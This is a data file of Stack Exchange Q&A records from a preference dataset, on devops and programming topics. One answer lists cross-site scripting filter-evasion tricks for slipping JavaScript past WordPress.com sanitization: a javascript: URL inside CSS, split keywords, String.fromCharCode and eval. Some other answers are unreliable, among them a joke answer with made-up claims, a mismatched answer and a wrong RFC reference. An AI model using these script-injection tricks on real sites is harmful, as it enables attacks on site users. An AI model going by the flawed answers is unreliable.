"answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.230926"}
{"id": "hf_a03f9455ab0a", "question": "<p>What do you think of <a href=\"http://quagga.net\" rel=\"nofollow noreferrer\">Quagga</a> compared to XORP as a dynamic software routing engine? What are the technical merits of each engine comparatively? Additionally, what do most people think of them from a programming view. Who has manipulated networks using these enginers? I was wondering from an OSPF, routing, BGP protocol user's perpspective. </p>\n", "question_body": "", "answer": "What do you think of Quagga compared to XORP as a dynamic software routing engine?\nIt is one of many options, but not particularly of very much use to you based upon your questions/information that you posted here. Have you tried looking into some of the alternatives such as (nothing comes to  mind)?\nWhat are the technical merits of each engine comparatively?\nSmall, fast, oddly placed, optimized, super-heroic and more filler for a resume.\nAdditionally, what do most people think of them from a programming view.\nI can't speak for most people, but I for myself do not give it much credit or merit, or well... you know what I mean.\nWho has manipulated networks using these enginers?\nI could not find specific references, but I do remember reading that both Disney and the 'famous' YUV corporation of South Africa both played with this notion before. I believe Disney abandoned it with the fall of Michael Eisner.\nI was wondering from an OSPF, routing, BGP protocol user's perpspective.\nI am a BGP protocol user's prospective. Hopefully we hear from OSPF and routing user's perspectives shortly.\nGood question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.263251"}
{"id": "hf_807a8769f850", "question": "<p>What are the private IP address ranges?</p>\n", "question_body": "", "answer": "You will find the answers to this in\nRFC 1918\n. Though, I have listed them below for you.\n```\n```\n10.0.0.0        -   10.255.255.255  (10/8 prefix)\n 172.16.0.0      -   172.31.255.255  (172.16/12 prefix)\n 192.168.0.0     -   192.168.255.255 (192.168/16 prefix)\n```\n```\nIt is a common misconception that 169.254.0.0/16 is a private IP address block. This is not true. It is link local, basically it is meant to be only used within networks, but it isn't official RFC1918. Additional information about IPv4 addresses can be found in\nRFC 3300\n.\nOn the other hand IPv6 doesn't have an equivalent to RFC1918, but any sort of site-local work should be done in fc00::/7. This is further touched on in\nRFC 4193\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.312460"}
{"id": "hf_da4072d05b1b", "question": "<p>Currently I am using NetTiers to generate my data access layer and service layer. I have been using NetTiers for over 2 years and have found it to be very useful. At some point I need to look at LINQ so my questions are...</p>\n\n<ol>\n<li>Has anyone else gone from NetTiers to LINQ To SQL?</li>\n<li>Was this switch over a good or bad thing?</li>\n<li>Is there anything that I should be aware of?</li>\n<li>Would you recommend this switch?</li>\n</ol>\n\n<p>Basically I would welcome any thoughts\n.</p>\n", "question_body": "", "answer": "NetTiers is very good for generating a heavy and robust DAL, and we use it internally for core libraries and frameworks.\nAs I see it, LINQ (in all its incarnations, but specifically as I think you're asking to SQL) is fantastic for quick data access, and we generally use it for more agile cases.\nBoth technologies are quite inflexible to change without regeneration of the code or dbml layer.\nThat being said, used properly LINQ 2 SQL is quite a robust solution, and you might even start using it for future development due to it's ease of use, but I wouldn't throw away your current DAL for it - if it aint broke ...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.361688"}
{"id": "hf_c430e9686e7d", "question": "<p>If you declare variables of type byte or short and attempt to perform arithmetic operations on these, you receive the error \"Type mismatch: cannot convert int to short\" (or correspondingly \"Type mismatch: cannot convert int to byte\"). </p>\n\n<pre><code>byte a = 23;\nbyte b = 34;\nbyte c = a + b;\n</code></pre>\n\n<p>In this example, the compile error is on the third line.</p>\n", "question_body": "", "answer": "Although the arithmetic operators are defined to operate on any numeric type, according the Java language specification (5.6.2 Binary Numeric Promotion), operands of type byte and short are automatically promoted to int before being handed to the operators.\nTo perform arithmetic operations on variables of type byte or short, you must enclose the expression in parentheses (inside of which operations will be carried out as type int), and then cast the result back to the desired type.\n```\nbyte a = 23;\nbyte b = 34;\nbyte c = (byte) (a + b);\n```\nHere's a follow-on question to the real Java gurus: why? The types byte and short are perfectly fine numeric types. Why does Java not allow direct arithmetic operations on these types? (The answer is not \"loss of precision\", as there is no apparent reason to convert to int in the first place.)\nUpdate: jrudolph suggests that this behavior is based on the operations available in the JVM, specifically, that only full- and double-word operators are implemented. Hence, to operator on bytes and shorts, they must be converted to int.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.387592"}
{"id": "hf_d35ed6614ab2", "question": "<p>I've got a <a href=\"http://notebooks.readerville.com/\" rel=\"noreferrer\">site</a> that provides blog-friendly widgets via JavaScript. These work fine in most circumstances, including self-hosted Wordpress blogs. With blogs hosted at Wordpress.com, however, JavaScript isn't allowed in sidebar text modules. Has anyone seen a workaround for this limitation?</p>\n", "question_body": "", "answer": "you could always petition wp to add your widget to their 'approved' list, but who knows how long that would take. you're talking about a way to circumvent the rules they have in place about posting arbitrary script. myspace javascript exploits in particular have increased awareness of the possibility of such workarounds, so you might have a tough time getting around the restrictions - however, here's a classic ones to try:\nput the javascript in a weird place, like anywhere that executes a URL. for instance:\n```\n```\n<div style=\"background:url('javascript:alert(this);');\" />\n```\n```\nsometimes the word 'javascript' gets cut out, but occasionally you can sneak it through as java\\nscript, or something similar.\nsometimes quotes get stripped out - try String.fromCharCode(34) to get around that. Also, in general, using eval(\"codepart1\" + \"codepart2\") to get around restricted words or characters.\nsneaking in javascript is a tricky business, mostly utilizing unorthodox (possibly un-documented) browser behavior in order to execute arbitrary javascript on a page. Welcome to hacking.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.435788"}
{"id": "hf_3199bc67531d", "question": "<p>I am planning to create a web app that allows users to downgrade their visual studio project files. However, It seems Google App Engine accepts files uploading and flat file storing on the Google Server through <code>db.TextProperty</code> and <code>db.BlobProperty</code>.</p>\n\n<p>I'll be glad anyone can provide code sample (both the client and the server side) on how this can be done.</p>\n", "question_body": "", "answer": "You can not store files as there is not a traditional file system.  You can only store them in their own DataStore (in a field defined as a\nBlobProperty\n)\nThere is an example in the previous link:\n```\n```\nclass MyModel(db.Model):\n  blob = db.BlobProperty()\n\nobj = MyModel()\nobj.blob = db.Blob( file_contents )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.508006"}
{"id": "hf_6ab1969e3aa9", "question": "<p>If I understand correctly, <code>ClickOnce</code> only checks for prerequisites with the first install of an application through the setup.exe file that contains the prerequisite information. If the user opens the app in the future it will check for new versions, but it does not launch the setup.exe again, thus not checking for any NEW prerequisites that might have been added.</p>\n\n<p>Is there any way to force ClickOnce to check the prerequisites again or does anyone have a good solution without asking the user to run the <code>setup.exe</code> again?</p>\n", "question_body": "", "answer": "Unfortunately, your users will have to re-run the setup.exe to check and install all the new prerequisites that you have added.\nApplications deployed using ClickOnce only check for application updates (if enabled), not prerequisites as it's the bootstrapper's job to make sure all dependencies are installed before the application is installed.\nI found this at\nMicrosoft's site\n:\nThe Setup.exe (bootstrapper) is\n  responsible for installing all\n  dependencies before your application\n  runs. This bootstrapper runs as a\n  separate process that is independent\n  of the ClickOnce run-time engine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.533234"}
{"id": "hf_e50ccdbe3feb", "question": "<p>I am developing an ASP.NET mobile website using .NET 3.5 and mobile controls that come with the framework. I have a login form where the system will authenticate the user so he/she can access certain restricted pages. </p>\n\n<p>In a standard ASP.NET website, I can use a session to store some flag after a user had logined, but I wonder can I do the same for the mobile version? Is session variable (or cookies) being support by those mobile device's browser? Is there any standard pratice also on doing authentication for mobile pages?</p>\n", "question_body": "", "answer": "Session variables are stored in the server so you can forget the device browser capabilities.\nI've not practice developing for mobile device, but 4 years ago I was using a service that used cookie authentication and the phone was not top-notch so... I think you can take for granted the cookie availability. Full futured browsers for mobile are taking on so... invest in the future, don't spend energy with old techologies soon to be deprecated...\nIn my opinion, prefer cookie authentication, it's more standard, and you can save the cookie on the phone preventing further authentications....", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.558456"}
{"id": "hf_6cb2ce11f47b", "question": "<p>I'm writing a J2SE desktop application that requires one of its components to be pluggable. I've already defined the Java interface for this plugin. The user should be able to select at runtime (via the GUI) which implementation of this interface they want to use (e.g. in an initialisation dialog). I envisage each plugin being packaged as a JAR file containing the implementing class plus any helper classes it may require.</p>\n\n<p>What's the best technology for doing this type of thing in a desktop Java app?</p>\n", "question_body": "", "answer": "One approach I'm considering is having my application start up a lightweight OSGi container, which if I understand correctly would be able to discover what plugin JAR files exist in a designated folder, which in turn would let me list them for the user to choose from. Is this feasible?\nI also found\nthis article\nby Richard Deadman, but it looks a little dated (2006?) and mentions neither OSGi (at least not by name) nor the\n```\njava.util.jar\n```\npackage", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.610929"}
{"id": "hf_dd47509f82e7", "question": "<p>I need an encoder that can convert mp3 files to he-aac (aka aac+).\nSo far the best one I have found is <a href=\"http://www.nero.com/eng/down-ndaudio.php\" rel=\"nofollow noreferrer\">nero aac encoder</a> . \nI have two problemes with it :\n  - Only one input format : wav . It is a little bit slow to transform mp3 files to wav and then to he-aac.\n  - a free license for <strong>non commercial</strong> use.</p>\n\n<p>Too bad ffmpeg does not support he-aac ...\nThere is a commercial solution, <a href=\"https://flix.on2.com/\" rel=\"nofollow noreferrer\">on2 flix</a>, but it seems to be a golden hammer for the simple task I need to do.</p>\n", "question_body": "", "answer": "Nero AAC is the only one as far as I know.  Even if FAAC supported HE-AAC it would be useless, since as an encoder its pretty awfully designed and its quality is not even competitive with LAME, let alone a good AAC encoder.\nKostya on the FFMPEG team is currently working on an AAC encoder but it has a long way to go--its not ready for primetime with LC-AAC, let alone HE-AAC (its not even committed to the repository yet).  The first step before anything will be to get the ffmpeg decoder to support HE-AAC; currently it can only be decoded through FAAD.\nI don't believe there is\nany\nHE-AAC encoder on any platform with a more permissive license than Nero's at this point in time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.635442"}
{"id": "hf_f206d93a1169", "question": "<p>I had a discussion with a developer earlier today re identifying TCP packets going out on a particular interface with the same payload. He told me that the probability of finding a TCP packet that has an equal payload (even if the same data is sent out several times) is very low due to the way TCP packets are constructed at system level. I was aware this may be the case due to the system's MTU settings (usually 1500 bytes) etc., but what sort of probability stats am I really looking at? Are there any specific protocols that would make it easier identifying matching payloads?</p>\n", "question_body": "", "answer": "EDIT: Sorry, my original idea was ridiculous.\nYou got me interested so I googled a little bit and found\nthis\n. If you wanted to write your own tool you would probably have to inspect each payload, the easiest way would probably be some sort of hash/checksum to check for identical payloads. Just make sure you are checking the payload, not the whole packet.\nAs for the statistics I will have to defer to someone with greater knowledge on the workings of TCP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.660071"}
{"id": "hf_eef39bb375c4", "question": "<p>I have settled a web synchronization between SQLSERVER 2005 as publisher and SQLEXPRESS as suscriber. Web synchro has to be launched manually through IE interface (menu tools/synchronize) and to be selected among available synchronizations.</p>\n\n<p>Everything is working fine except that I did not find a way to automate the synchro, which I still have to launch manually. Any idea?</p>\n\n<p>I have no idea if this synchro can be launched from SQLEXPRESS by running a specific T-SQL code (in this case my problem could be solved indirectly).</p>\n", "question_body": "", "answer": "Maybe detach the process from the current shell process by calling\n```\ndisown\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.710755"}
{"id": "hf_5482edc2ea8f", "question": "<p>There doesn't seem to be a dictionary.AddRange() method. Does anyone know a better way to copy the items to another dictionary without using a foreach loop. </p>\n\n<p>I'm using the System.Collections.Generic.Dictionary. This is for .NET 2.0. </p>\n", "question_body": "", "answer": "There's the\n```\nDictionary\n```\nconstructor that takes another\n```\nDictionary\n```\n.\nYou'll have to cast it\n```\nIDictionary\n```\n, but there is an\n```\nAdd()\n```\noverload that takes\n```\nKeyValuePair<TKey, TValue>\n```\n. You're still using foreach, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.759167"}
{"id": "hf_4f37652e4474", "question": "<p>We have in the process of upgrading our application to full Unicode comptibility as we have recently got Delphi 2009 which provides this out of the box.  I am looking for anyone who has experience of upgrading an application to accept Unicode characters.  Specifically answers to any of the following questions.</p>\n\n<ul>\n<li>We need to change VarChars to NVarchar, Char to NChar.  Are there any gotchas here.</li>\n<li>We need to update all sql statements to include N in front of any sql strings.  So Update tbl_Customer set Name = 'Smith' must become Update tbl_Customer set Name = <strong>N</strong>'Smith' .  Is there any way to default to this for certain Fields.  It seems extraordinary this is still required.</li>\n<li>Is it possible to get any defaults set up in SQLServer that will make this simpler?</li>\n</ul>\n\n<p>ps We also need to upgrade our Oracle code</p>\n", "question_body": "", "answer": "Damien\nI'm not sure how useful your answer is.  We have a large 700,000 lines of compiled codebase that was written over the last ten years which contains a large number of sql queries.  Most are standardised down to a few functions which are the basis for most of the updates on the database.  These can be updated quite simply.   However we also need to check every where clause for CustomerName = '%s'  which should now be CustomerName = N'%s'\nThis is a real question which needs a real answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.837347"}
{"id": "hf_570a1c0f2141", "question": "<p>If my email id receives an email from a particular sender, can I ask sendmail to trigger a different program and pass on the newly arrived email to it for further processing? This is similar to filters in gmail. Wait for some email to arrive, see if it matches the criteria and take some action if it does.</p>\n", "question_body": "", "answer": "We handle this by having a cron process running on the mail server which watches the inbox directory and scans any new messages (files) every 10 minutes or so.\nWhen the process finds an email of interest, it fires the information off to another process which then reacts to the new message (and, in our case, removes the message from the inbox).\n--edit--\nFinding the email inbox depends on your implementation - check the 'manual' your version of sendmail for details - we direct incoming email to a special directory or have parameters to work out the inbox details. I don't feel it would be useful to be more specific as the answer to 'where is the inbox' is 'it depends'.\nAs for the pattern to search for - we decode the email message (a text file) into a DOM that we can manipulate. For example, we can then look for specific words in property 'subject'.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.874451"}
{"id": "hf_9521b63f6d40", "question": "<p>I am using Qt Dialogs in one of my application.\nI need to hide/delete the help button. But i am not able to locate where exactly I get the handle to his help button. Not sure if its a particular flag on the Qt window.</p>\n", "question_body": "", "answer": "By default the\nQt::WindowContextHelpButtonHint\nflag is added to dialogs.\nYou can control this with the\nWindowFlags\nparameter to the dialog constructor.\nFor instance you can specify only the\nTitleHint\nand\nSystemMenu\nflags by doing:\n```\n```\nQDialog *d = new QDialog(0, Qt::WindowSystemMenuHint | Qt::WindowTitleHint);\nd->exec();\n```\n```\nIf you add the\nQt::WindowContextHelpButtonHint\nflag you will get the help button back.\nIn PyQt you can do:\n```\n```\nfrom PyQt4 import QtGui, QtCore\napp = QtGui.QApplication([])\nd = QtGui.QDialog(None, QtCore.Qt.WindowSystemMenuHint | QtCore.Qt.WindowTitleHint)\nd.exec_()\n```\n```\nMore details on window flags can be found on the\nWindowType enum\nin the Qt documentation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.915019"}
{"id": "hf_6b78c212295a", "question": "<p>I want:\nall links which not contained filename (not .html, .jpg, .png, .css) redirect with state 301 to directory, for example: <a href=\"http://mysite.com/article\" rel=\"nofollow noreferrer\">http://mysite.com/article</a> -> <a href=\"http://mysite.com/article/\" rel=\"nofollow noreferrer\">http://mysite.com/article/</a>\nBut <a href=\"http://mysite.com/article/article-15.html\" rel=\"nofollow noreferrer\">http://mysite.com/article/article-15.html</a> not redirects.\nWhat regulat expression I must write to .htaccess for adding slash to virtual directories?</p>\n", "question_body": "", "answer": "Clarification needed:\nGiven the url:\nhttp://server/path/file\nDoes that get redirected to:\nhttp://server/path/\nOr does it get redirected to:\nhttp://server/path/file/\nAs in: Do you want the redirects to go to the parent path, or do you just want to add a slash and assume directory out of the current path?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.955488"}
{"id": "hf_cebfaeb6acd5", "question": "<p>What is the most efficient, secure way to pipe the contents of a postgresSQL database into a compressed tarfile, then copy to another machine?</p>\n\n<p>This would be used for localhosting development, or backing up to a remote server, using *nix based machines at both ends.</p>\n", "question_body": "", "answer": "This page\nhas a complete backup script for a webserver, including the pg_dump output.\nHere is the syntax it uses:\n```\n```\nBACKUP=\"/backup/$NOW\"\nPFILE=\"$(hostname).$(date +'%T').pg.sql.gz\"\nPGSQLUSER=\"vivek\"\nPGDUMP=\"/usr/bin/pg_dump\"\n\n$PGDUMP -x -D -U${PGSQLUSER} | $GZIP -c > ${BACKUP}/${PFILE}\n```\n```\nAfter you have gzipped it, you can transfer it to the other server with\nscp\n,\nrsync\nor\nnfs\ndepending on your network and services.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:49.036716"}
{"id": "hf_d81eb1415046", "question": "<p>We have a NET app that gets installed to the Program Files folder. \nThe app itself writes some files and creates some directories to its app folder.\nBut when a normal windows user tries to use our application it crashes because that user does not have permission to write to app folder.\nIs there any folder in both WinXP and WinVista to which all users have writing permissions by default? All User folder or something like that?</p>\n", "question_body": "", "answer": "I'm not sure that there is a single path to which all non-administrator users have permission to write to.\nI think the correct one would be\n```\n<User>\\Application Data\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:49.090316"}
{"id": "hf_368d87d07042", "question": "<p>I am trying to use MinGW to compile a C program under Windows XP. The gcc.exe gives the following error:</p>\n\n<p><strong>stdio.h : No such file or directory</strong></p>\n\n<p>The code (hello.c) looks like this:</p>\n\n<pre><code>#include &lt; stdio.h &gt;\n\nvoid main()\n{\n    printf(\"\\nHello World\\n\");\n}\n</code></pre>\n\n<p>I use a batch file to call gcc. The batch file looks like this:</p>\n\n<pre><code>@echo off\nset OLDPATH=%PATH%\nset path=C:\\devtools\\MinGW\\bin;%PATH%\nset LIBRARY_PATH=C:\\devtools\\MinGW\\lib\nset C_INCLUDE_PATH=C:\\devtools\\MinGW\\include\n\ngcc.exe hello.c \n\nset path=%OLDPATH%\n</code></pre>\n\n<p>I have tried the option <strong>-I</strong> without effect. What do I do wrong?</p>\n", "question_body": "", "answer": "Try changing the first line to:\n```\n```\n#include <stdio.h>\n```\n```\nwithout the spaces. It is trying to look for a file called \" stdio.h \" with a space at the beginning and end.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:49.126811"}
{"id": "hf_caf89915c9bf", "question": "<p>For example:</p>\n\n<pre><code>int a = 12;\ncout &lt;&lt; typeof(a) &lt;&lt; endl;\n</code></pre>\n\n<p>Expected output:</p>\n\n<pre><code>int\n</code></pre>\n", "question_body": "", "answer": "Try:\n```\n```\n#include <typeinfo>\n\n// …\nstd::cout << typeid(a).name() << '\\n';\n```\n```\nYou might have to activate RTTI in your compiler options for this to work. Additionally, the output of this depends on the compiler. It might be a raw type name or a name mangling symbol or anything in between.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:49.285071"}
{"id": "hf_54b1a700b4c0", "question": "<p>Just want to know what is better way to get start developing faccebook app?Any tutorial recommnedation?And which is better to start up -php or rails?</p>\n", "question_body": "", "answer": "Start with their docs:\nhttp://developer.facebook.com/get_started.php?tab=tutorial\nThere are libraries floating around for lots of different languages and frameworks so I say: whatever you're happiest with is where you should start.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:49.309889"}
{"id": "hf_bdd6531fd4c7", "question": "<p>I have a script that works fine on my test server (using IIS6). The script processes an ajax request and sends a response with the following line:</p>\n\n<pre><code>header( 'application/javascript' );\n</code></pre>\n\n<p>But on my live server, this line crashes the page and causes a 500 error.</p>\n\n<p>Do I need to allow PHP to send different MIME types in IIS7? If so, how do I do this? I can't find any way on the interface.</p>\n", "question_body": "", "answer": "The header is incorrect, try this instead:\n```\n```\nheader('Content-Type: application/javascript');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:49.334762"}
{"id": "hf_58348fb7d1da", "question": "<p>I use Virtual PC to create fresh environments for testing my installer. But I must be doing something wrong because a VPC image with Vista or XP inside is taking around 15GB of disk space (that includes VS2005/S2008 installed in them). </p>\n\n<p>To create a new copy for testing I copy and paste the folder that has the .vhd, .vmc and .vsv files inside. After using the new VPC image for testing I then delete that copied folder. This works but it takes a looong time to copy 15GB each time. Is there some faster/more efficent approach?</p>\n", "question_body": "", "answer": "Doesn't VirtualPC have a fake-write/snapshot mode? That way it should not write to your original disk at all unless you say so at the end of the session.\nIf it doesn't, you might seriously want to consider VMWare or VirtualBox as these do have this feature and it's REALLY useful for things like this.\nEdit: it looks like VPC does have a feature like this called differencing disks. Have a look at this:\nhttp://www.andrewconnell.com/blog/articles/UseVirtualPCsDifferencingDisksToYourAdvantage.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:49.371948"}
{"id": "hf_46892f4b241b", "question": "<p>Is there a way to hide the google toolbar in my browser programmable?</p>\n", "question_body": "", "answer": "You haven't said which browser you are using so I'm going to assume Internet Explorer* and answer No.\nIf JavaScript on a web page could manipulate the browser, it would be a serious security hole and could create a lot of confusion for users.\nSo no... for a good reason: Security.\n*. If you were using Firefox, and were talking about JavaScript within an extension to manipulate and theme the window chrome then this would be a different story.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:49.432223"}
{"id": "hf_60a5a0e4e217", "question": "<p>I have xml where some of the element values are unicode characters. Is it possible to represent this in an ANSI encoding?</p>\n\n<p>E.g.</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"utf-8\"?&gt;\n&lt;xml&gt;\n&lt;value&gt;受&lt;/value&gt;\n&lt;/xml&gt;\n</code></pre>\n\n<p>to</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"Windows-1252\"?&gt;\n&lt;xml&gt;\n&lt;value&gt;&amp;#27544;&lt;/value&gt;\n&lt;/xml&gt;\n</code></pre>\n\n<p>I deserialize the XML and then attempt to serialize it using XmlTextWriter specifying the Default encoding (Default is Windows-1252). All the unicode characters end up as question marks. I'm using VS 2008,  C# 3.5</p>\n", "question_body": "", "answer": "If I understand the question, then yes. You just need a\n```\n;\n```\nafter the\n```\n27544\n```\n:\n```\n```\n<?xml version=\"1.0\" encoding=\"Windows-1252\"?>\n<xml>\n<value>&#27544;</value>\n</xml>\n```\n```\nOr are you wondering how to generate this XML programmatically? If so, what language/environment are you working in?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:49.541867"}
{"id": "hf_cf4bc9553da6", "question": "<p>Given the following JSON Date representation:</p>\n\n<pre><code>\"\\/Date(1221644506800-0700)\\/\"\n</code></pre>\n\n<p>How do you deserialize this into it's JavaScript Date-type form?</p>\n\n<p>I've tried using MS AJAX JavaScrioptSerializer as shown below:</p>\n\n<pre><code>Sys.Serialization.JavaScriptSerializer.deserialize(\"\\/Date(1221644506800-0700)\\/\")\n</code></pre>\n\n<p>However, all I get back is the literal string date.</p>\n", "question_body": "", "answer": "The big number is the standard JS time\n```\n```\nnew Date(1221644506800)\n```\n```\nWed Sep 17 2008 19:41:46 GMT+1000 (EST)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:49.600315"}
{"id": "hf_4db92ad08f0f", "question": "<p>I have a version number of the following form:</p>\n\n<p>version.release.modification</p>\n\n<p>where version, release and modification are either a set of digits or the '*' wildcard character. Additionally, any of these numbers (and any preceding .) may be missing.</p>\n\n<p>So the following are valid and parse as:</p>\n\n<pre><code>1.23.456 = version 1, release 23, modification 456\n1.23     = version 1, release 23, any modification\n1.23.*   = version 1, release 23, any modification\n1.*      = version 1, any release, any modification\n1        = version 1, any release, any modification\n*        = any version, any release, any modification\n</code></pre>\n\n<p>But these are not valid:</p>\n\n<pre><code>*.12\n*123.1\n12*\n12.*.34\n</code></pre>\n\n<p>Can anyone provide me a not-too-complex regex to validate and retrieve the release, version and modification numbers?</p>\n", "question_body": "", "answer": "This might work:\n```\n```\n^(\\*|\\d+(\\.\\d+){0,2}(\\.\\*)?)$\n```\n```\nAt the top level, \"*\" is a special case of a valid version number. Otherwise, it starts with a number. Then there are zero, one, or two \".nn\" sequences, followed by an optional \".*\". This regex would accept 1.2.3.* which may or may not be permitted in your application.\nThe code for retrieving the matched sequences, especially the\n```\n(\\.\\d+){0,2}\n```\npart, will depend on your particular regex library.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:49.625205"}
